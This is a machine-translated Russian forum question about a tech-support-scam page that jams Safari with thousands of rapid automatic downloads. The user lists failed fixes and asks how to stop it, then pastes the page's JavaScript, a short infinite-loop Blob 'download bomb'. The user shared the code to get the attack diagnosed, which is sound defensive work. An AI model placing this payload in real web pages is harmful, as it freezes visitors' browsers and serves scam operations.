Фон
Новая страница со спамом стала появляться на многих «сомнительных» сайтах (на сайтах с фильмами и т. Д.). Эта новая страница со спамом подходит для категории поддельных сканов, MacKeeper, категории «У тебя есть вирус» и т. Д.
проблема
Проблема с этой новой страницей состоит в том, что вместо всплывающего окна страница фактически инициирует загрузку случайных файлов размером 2 КБ (не содержит вредных файлов, содержит только случайный текст) несколько раз каждые ~ 1 мс. Папка загрузки заполняется, прежде чем вы можете закрыть окно, и вам осталось удалить более 1000 файлов. В отличие от аналогичной проблемы, в которой спам на странице вызывает диалог печати, у него очень мало времени для реагирования.
Неудачные попытки устранения неполадок
Я попытался заблокировать папку загрузки. Хотя загрузка не позволила ... ну ... загрузить его, появляется диалоговое окно (см. Изображение). Обычно я мог просто закрыть это диалоговое окно, но, поскольку загрузка выполняется каждые ~ 1 мс, каждый раз, когда я пытаюсь его закрыть, появляется новое диалоговое окно, не позволяющее мне закрыть окно.
Принудительный выход из Safari, который останавливает загрузку (после загрузок 1k), но затем я теряю все остальные окна
Изменение настроек на «Запросить каждую загрузку» в настройках Safari. Не работает, потому что открытые 1k отдельных диалоговых окон мешают мне даже закрыть вкладку. В конечном итоге сбой Safari.
Вопрос
Как я могу предотвратить загрузку спама в Safari?
ОБНОВИТЬ:
Вот код, вызывающий загрузку (получил его, отключив JavaScript и просмотрев код вручную):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Примечание: у меня были некоторые проблемы с запуском JS на пользовательской странице. Замерло, а не загружено. Я был в состоянии эмулировать загрузку с помощью setInterval()
функции, вызывающей download
функцию.
Дополнительная информация: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/